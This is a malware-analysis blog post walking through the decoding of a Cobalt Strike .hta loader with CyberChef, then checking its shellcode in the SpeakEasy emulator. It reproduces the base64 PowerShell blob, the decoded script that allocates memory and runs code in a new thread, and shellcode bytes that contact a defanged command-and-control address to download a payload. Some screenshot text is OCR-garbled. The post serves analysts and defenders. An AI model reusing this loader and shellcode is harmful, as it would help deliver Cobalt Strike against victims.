# Cobalt Strike Loader Deobfuscation Using CyberChef and Emulation (.hta files)

embee-research.ghost.io/malware-analysis-decoding-a-simple-hta-loader/

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In this post. I will demonstrate a process for decoding a simple .hta loader used to load cobalt strike shellcode. We will perform initial analysis using a text editor, and use <u>CyberChef</u> to extract embedded <u>shellcode</u>. From here we will validate the shellcode using an emulator (SpeakEasy) and perform some basic analysis using Ghidra.

Hash: 2c683d112d528b63dfaa7ee0140eebc4960fe4fad6292c9456f2fbb4d2364680

Malware Bazaar Link:

## Analysis

Analysis can begin by downloading the zip file into a safe virtual machine and unzipping it with the password infected

This will reveal a .hta file. A .hta file is <u>essentially an html file</u> with an embedded script. Our aim is to locate and analyse the embedded script.



Since .hta is a text-based format, we can go straight to opening the file inside of a text editor.

## Analysis with a Text Editor

Opening the file inside of a text editor will reveal a small piece of obfuscated code followed by a large <u>base64 blob.</u>



For the purposes of this blog, we don't need to decode the initial pieces as it's safe to assume that it just executes a PowerShell command containing the base64 blob.

We can tell this by the presence of a PowerShell command and a broken-up wscript.shell. Which is commonly used to execute commands from javascript.



Using the theory that the initial script just executes the base64 blob, we can go straight to decoding the base64.

If the base64 blob does not decode, we can always return to the initial pieces to investigate further.

## **Decoding the Base64**

We can proceed by highlighting the entire base64 blob and copying it into cyberchef, from here we can attempt to decode it.



Copying the base64 content into CyberChef, we can see plaintext with null bytes in-between the characters.

This generally indicates utf-16 encoding, which is very simple to remove with "decode text" or "remove null bytes"



By adding a "remove null bytes" into the recipe, we can obtain the decoded content which looks like a PowerShell script.



#### + 🗅 🗩 📋 Input JABNAFAAbOAgADØATAAnACOATOBOACAAPOAgACCAJwBbAEOAbABsAEkAbOBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAA iACKAXQBwAHUAYgBSAGKAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQBYAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBSAG wAbwBjACgASQBuAHQAUAB0AHIAIABSAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZ gBsAEEAbABsAG8AYwBhAHQAaOBvAG4AVAB5AHAAZQAsACAAdOBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEOAbABsAEkAbOBw AG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4 AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcg BpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0A EEAZABKAHIAZQBZAHMALAAgAEKAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBJAHQAZQBYACWAIABIAGKAbgB0ACAAZAB3AEMAcgB1AGEA dABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEkAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAA oACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAH QAcgagaG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgaHUAaQBuAHQAIABjAG8Ad QBUAHQAKQA7ACcAJwA7ACQAZwBMACAAPQAgAEEAZABKACØAVAB5AHAAZQAgACØAbQBlAGØAYgBlaHIARABlAGYAaQBUAGKAdABpAG8AbgAg ACQATQBQACAALQBOAGEAbQB1ACAAIgBXAGkAbgAzADIAIgAgAC0AbgBhAG0AZQBzAHAAYQBjAGUAIABXAGkAbgAzADIARgB1AG4AYwB0AGk AbwBuAHMAIAAtAHAAYQBzAHMAdABoAHIAdQA7AFsAQgB5AHQAZQBbAF0AXQA7AFsAQgB5AHQAZQBbAF0AXQAkAGEATgAgAD0AIAAwAHgAZg BJACWAMAB4AGUAOAASADAAEAA4ADkALAAWAHgAMAAWACWAMAB4ADAAMAASADAAEAAWADAALAAWAHgANgAWACWAMAB4ADgAOQASADAAEABIA 🗵 Tr Raw Bytes ← LF and 6704 = 1

#### Output

#### 🖬 🗇 🖬 🗆

\$MPm = '\$MP = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint scr, uint count);'';§g = Add-Type memberDefinition \$MP -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]\$AN =

0xf; 0xe8, 0x89, 0x00, 0x00, 0x00, 0x60, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x 8b, 0x72, 0x28, 0x6f, 0xb7, 0x4a, 0x26, 0x31, 0x4f, 0x31, 0xc4, 0xac, 0x3c, 0x5c, 0x61, 0x7c, 0x62, 0x2c, 0x2a, 0xc4, 0x4b, 0x64, 0x81 0xc7, 0x22, 0x28, 0x6f, 0xb7, 0x4a, 0x26, 0x31, 0x4f, 0x31, 0xc4, 0x3c, 0x3c, 0x5c, 0x51, 0x7c, 0x22, 0x2a, 0xc4, 0xc4, 0x4a, 0x81, 0x4b, 0x8b, 0x42, 0x3c, 0x41, 0x7c, 0x22, 0x2c, 0x2a, 0xc4, 0x4a, 0x4b, 0x5b, 0x4d, 0x4b, 0x5b, 0x5b, 0x4b, 0x4b,

The use of "decode text" and "utf-16" would also have worked fine.

Recipe	Input + 🗅 🕁 📋 I				
From Base64 S II Alphabet A-Za-Z0-9+/= Remove non-alphabet chars	JABNAFAAbQAgADØAIAAnACQATQBQACAAPQAgACcAJwBbAEQAbABSAEKAbQBwAGBAcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBKAGwAbAA IACKAXQBwAHUAYgBSAGKAYwAgAHMAdABhAHQAaQBJACAAZQB4AHQAZQBYAG4AIABJAG4AdABQAHQAcgAgAFYAaQBYAHQAdQBhAGwAQQBSAG wabwbJACgASQBuAHQAUABBAHITAIBSAHAAQQBKAGQAcgBIAHMAcwbSACAAdQBPAG4AdABQAQAMBTAGKAegBIACcwaIABIAGKAbgB0ACAAZ gBSAEEAbABSAG8AYwBhAHQAaQBvAGA4VAB5AHAAZQASACAAdQBpAG4AdAgAGQAMABTAGKAegBIACcwaIABIAGKAbgB0ACAAZ gGSAEEAbABSAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQASACAAdQBpAG4AdAgAGQAAbABQAHIAbwB0AGUAYwB0ACKAOwBbAEQAAbABSAEKAbQBw AGBAcgB0ACgAIgBrAGUAcgBUAGUAbAZDILgBKAGwAbAAIACKAXQBwAHUAYgBSAGKAYwAgAHMAdABhAHQAAQBJACAAZQBAHQAZQBYAGA AIABJAG4AdABQAHQAcgAgAEMAcgBIAGEAdABJAFQABABAGAGACAYGBUAHQAUAB0AHIAIABSAHAAVABOAHIAIZQBHAGQAQ0B0AHQACg				
Strict mode	BpAGTAdQBBAGUAcuwasaCAadqBpAGAAdAxgAQQAdwBTAHQAYQBJAGsAUwBpAHoAZQAsaCAASQBuAHQAUABBAHTATABsAHAAUwBBAGEAgBB EEAZABkAHTAQBsAHWALAAgEktAbgBBAFAAdAByaCAAbABwaFAAYQBAGEAbQBIAHQAQByaCwaTABIAGkAbgBBACAAZB3AEMAcgBIAGE dABpAG8AbgBGAGwAYQBnAHMALAAgeEkabgBBAFAAdAByACAAbABwAFQAaAByAGUAYQBKAEkAZAApAD <mark>s</mark> AwwBEAGwAbABJAGBACABVAHIAdA				
Decode text 🛇 II	οΑCΙΔΦΟΒΙΛΗΥΑΥΝΒΥΛΗΦΑL@BKAGWAbAALACKAXQBWAHUAY@BSAGKAYWA@AHMHAJABHAHQA@BJACAAZQBAHQAZQBYAGKAIABJAGAAABQA QAcgAgAG0AZQBtAHMAZQB0ACgASQBUAHQAUAB0AHIAIABKAGUAcwB0ACWAIABIAGKAbgB0ACAAcwByAGMALAAgAHUAAQBUAHQAIABJAGBA QBUAHQAKQA7ACcAJWA7ACQAZWBMACAAPQAgAEEAZABKAC0AVABSAHAAZQAGAC0AODBIAG0AY@BIAHIARABIAGYAA9DUAGKAAABpAGABAA				
UTF-16LE (1200)	ACQATQBQACAALQBOAGEAbQBIACAAIgBXAGKAbgAZADIAIgAgACOAbgBhAG0AZQBIAHAAYQBJAGUAIABXAGKAbgAIADIARgBIAG4AYwB0AG AbwBuAHMAIAAtAHAAYQBIAHMAdABoAHIAdQA7AFsAQgB5AHQAZQBbAF0AXQA7AFsAQgB5AHQAZQBbAF0AXQAKAGEATgAgAD0AIAAwAHgAZ BJACWAMAB4AGUAOAASADAAeAA4ADKALAAWAHgAMAAwACWAMAB4ADAAMAASADAAeAAWADAALAAWAHgANgAWACWAMAB4ADQAQASADAAeABI # 6704 = 1				
Null bytes have been removed	Output 🖬 🗍 🖬				
using "decode text + utf-16" "Remove null byte" also works well.	<pre>\$MPm = '\$MP = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr dest, uint src, uint count);'',\$gL = Add-Type -memberDefinition \$MP -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]\$aN =</pre>				
	0x+c,0xe8,0x89,0x00,0x00,0x00,0x00,0x89,0x89,0x8				

Either of these options will result in a decoded powershell script, which we can highlight and copy into a new text editor window.



## Analysis of The PowerShell Script

With the PowerShell script now placed into a text editor, we can go ahead and scan for keywords or anything that may indicate where we can go next.

For me, there are two primary things that stand out. That is the large blob of hex bytes in the middle of the script, as well as numerous references to api's that can be used to allocate (<u>VirtualAlloc</u>), write (<u>memset</u>) and execute (<u>CreateThread</u>) something in memory.



There are a few small things at the bottom of the script but these aren't as important. The script sleeps for 60 seconds and appears to attempt to switch to a 64 bit version of Powershell if the initial script fails.

For now, let's go on the assumption that the hex bytes contain something that is going to be executed.

## Decoding The Hex Bytes Using CyberChef

To analyse the hex bytes, we can copy them out and try to decode them using CyberChef.

We can do that by copying out the following bytes and moving them to CyberChef.



Once copied, the bytes can be decoded with a simple "from hex" operation. In this case the commas , and  $0 \times$  were automatically recognized.



We can also see that the although the content was "decoded", it still doesn't look good. It looks like a blob of junk that failed to decode.



## Validating ShellCode With CyberChef

At this point, we need to validate our assumption that the decoded content is shellcode. At first glance it looks like a blob of junk.

One common way is to look for plaintext values (ip's, api names) inside of shellcode, but this won't help us here. We'll need to do additional analysis

Output	80	(†)	::
üè•\\\`•ålÒd•R0•R^•R\*r(*·J&1ÿlÀ¬ <a  \óã<i•4•\ö1ÿlà¬áĭ<br="" áĭ^\çâðrw*r\*b<\d@x•àtj\dp+h\*x="">X\$\Óf•^K•X^\Ó•\*\D*D\$\$[[aYZQÿàX_Z*\ë•]h32\\hws2_ThLw&amp;\ÿÖ, *\\\)ÄTPh)•K\ÿÕPPPP@P@PAê*BàÿÕ•j *¥taÿÕ•Àt'ÿN\uìhðµ¢VÿÕj\j\VWh\ÙÈ_ÿÕ•6j@h\\\\VJ\hX¤SåÿÕ•Sj\VSWh\ÙÈ_ÿÕ\Ä)Æ•öuìÄ</a >	÷፟ኊÇ8àuô፞ኁ}¢ ኊh301®h፞ኊ፞\ኁ	⊅;}\$u ‱•æj	âX∙ °₊VWh

Using <u>CyberChef</u>, we can validate our theory that the content is shellcode by attempting to disassemble the bytes.

To do this, we need to convert the values to hex and then use the Disassemble x86 operation of CyberChef.

Recipe		8 h i	Input		+ 🗅 ڪ 🕯 🖬			
From Hex Delimiter		⊘ 11	8b,0x72,0x28,0x0f,0xb7,0x4a, ,0xc7,0xe2,0xf0,0x52,0x57,0xi xd0,0x50,0x8b,0x48,0x18,0x8b 0,0xac,0xc1,0xcf,0x0d,0x01,0x	9x26,9x31,9xff,9x31,9xc9,9xac,9x3c,9x61,9x7c,9x6 8b,9x52,9x10,9x8b,9x42,9x3c,9x81,9xd9,9x8b,9x40, ,9x58,9x20,9x01,9x43,9x83,9x3c,9x49,9x8b,9x34,9 ,xc7,9x38,9xe9,9x75,9xf4,9x83,9x74,9x74,9xf8,9x3b,9x7c	<pre>32, 9x2c, 9x20, 9xc1, 9xcf, 0x0d, 0x01 0x78, 0x85, 9xc0, 0x74, 0x4a, 0x01, 0 (8b, 0x01, 0xd6, 0x31, 0xff, 0x31, 0xc 1, 0x24, 0x75, 0xe2, 0x58, 0x8b, 0x58,</pre>			
To Hex Delimiter Space	Bytes per lin Ø	© II © © II	<pre>exted_svac_joxel_plact_sizes_plact_si</pre>					
Bit mode	Compatibility Full x86 architec	Code Segment (CS)	x5f,0xff,0xd5,0x01,0xc3,0x29	,0xc6,0x85,0xf6,0x75,0xec,0xc3	▼ Tr Raw Bytes ← LF			
Offset (IP) Ø	Show in	nstruction hex	Output 00000000 FC 00000001 E889000000 00000005 60 00000007 8955 00000009 31D2	CLD" CALL -FFFFF71" PUSHA" MOV EBP_ESP" XOR EDX,EDX"				
Disassembled	shellcode viewed	in CyberChef.	00000008 6485230 00000008 8530C 00000008 8530C 00000018 853214 00000015 807228 0000010 807248 00000011 31FF 00000011 31C0 00000011 31C0 00000012 3C01 00000023 7C02 00000023 7C02 00000025 2C20	MOV EDX, DWORD PTR FS:[EDX+a6]* MOV EDX, DWORD PTR [EDX+a6]* MOV EDX, DWORD PTR [EDX+44]* MOV ESI, DWORD PTR [EDX+28]* MOVZX ECX, WORD PTR [EDX+26]* XOR EDI, EDI* XOR EAX, EAX* LODS AL, BYTE PTR [ESI]* CMP AL, 61* JL 00000027* SUB AL, 20* ROR EDI, 00*				
STEP	🧵 BAKE!	Auto Bake	0000002A 01C7 0000002C E2F0 mr 7296 = 132	ADD EDI,EAX'	O 21ms Ty Rove Byton + IF			

Here we can see that the bytes have successfully disassembled, we can primarily tell this since there are.

- no glaring red sections indicating a failed disassembly
- CLD (<u>Clear Direction</u>) Which is common first command executed by shellcode.

There are some other indicators like an early call operation and a ror OD operation which are common to Cobalt Strike shellcode. These are patterns that are strange but become easily recognizable after you've seen a few shellcode examples.

For now, we can assume with higher confidence that the data is shellcode and do further validation by attempting to execute it.

At this point you could continue to analyse the disassembled bytes for signs of something "interesting", but this is generally difficult and requires some familiarity with x86 instructions. It is often much easier to try and execute the code. Especially for larger shellcode samples.

## Validating ShellCode By Executing Inside an Emulator

To further validate that the data is shellcode and attempt to determine it's functionality, we can save it to a file and try to run it inside an emulator or debugger.

In this case, I will be using the <u>SpeakEasy</u> tool from FireEye. <u>You can read about SpeakEasy</u> <u>here</u> and <u>Download it from GitHub</u>

Before running SpeakEasy, we can first download the raw bytes of our suspected shellcode. (make sure to remove the to hex and disassemble x86 operations)

									-
î	Recipe	8		Î	Input	+ (	╘	Î	=
	From He	ex (		П	8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20, ,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0x	0xc1, c0,0>	0xcf,0x 74,0x4a	0d,0x ,0x01	01 ^ ,0
	Delimite				xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6 0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,6	,0x31 )xe2,0	.,0xff,0 0x58,0x8	0x31,0 8b,0x5	8,
	Auto				0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x8	89 <b>,</b> 0x4	4,0x24,	0x24,	Øх
					5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,	0x32,	0x00,0>	00,0x	68
					x68.0x29.0x86.0x6b.0x00.0xff.0xd5.0x50.0x50.0x50.0x50.0x50.0x40.0x50.0x40.0x50.0x40.0x50.0x68.0xea.0x64	29,0> .0xdf	.0xe0.0	xff.0	,0 xd
					5,0x97,0x6a,0x05,0x68,0x33,0x4f,0x31,0xae,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0	x56,6	x57,0x6	8,0x9	9,
		Saving the raw bytes to a file so we			0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa	12,0x5	6,0xff,	0xd5,	0x
					6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,	0x00,	0x10,0>	(00,0x	00
					x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3			,0,00	,0
		can use an emulator			nac 1449 📻 1		Tr Raw E	lytes	← LF
					Output		<b>a</b> b	(†)	0
	L			üè•\\\`•ålòd•R0•R'•R'.•r('-J&lÿlÀ¬ <a ', \óã<i•4•\ö]<="" td="" áï`\çãðrw•r'.•b<\d•@x•àtj\dp•h'.•x=""><td>Ç8àuô<mark>'</mark>}</td><td>¢;}\$u</td><td>âX•</td></a ',>			Ç8àuô <mark>'</mark> }	¢;}\$u	âX•
					X\$\Of+`K+X`\Q+\\$DD\$\$[[aYZQyaX_Z+`\+JhZZ\\hws2_ThLw&\YO_+\\)ATPh)+K\YOPPPP@P@Phe'Bay +¥taÿÕ+Àt'ÿN+uìhðµ¢VÿÕj\j\VWh\ÙÈ_ÿÕ+6j@h\\\\Vj\hX#SåÿÕ+Sj\VSWh\ÙÈ_yÕ\Å)&+öuìÄ	0•j∿h	301®h <mark>`\`</mark>	'‱∙æj	VWh
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You can name the file anything you like, I have named it shellcode.bin.

Name	Date modified	Туре	Size
2c683d112d528b63dfaa7ee0140eebc4960fe4f	20/10/2023 3:40 AM	HTML Application	8 KB
2c683d112d528b63dfaa7ee0140eebc4960fe4f	19/10/2023 8:40 PM	7zFM.exe file	3 KB
shellcode.bin	19/10/2023 11:45 PM	BIN File	1 KB

From here, a command prompt can be opened at the SpeakEasy tool executed with the following commands.

- -t Target file to emulate
- -r Tells SpeakEasy that the file is shellcode
- -a x86 Tells SpeakEasy to assume x86 instructions. (This will almost always be x86 or x64. If either fails, try the other one)



51.79.49[.]174:443



## Conclusion

At this point, it would be safe to assume that the primary purpose of the entire script and shellcode is to act as a downloader.

At this point, I would investigate connections to that IP address and identify if anything was successfully downloaded and executed. You could also investigate any recent malware alerts for <u>Cobalt Strike</u>, or perform some hunting on the initial execution of .hta (mshta.exe parent process) to powershell.exe (child process).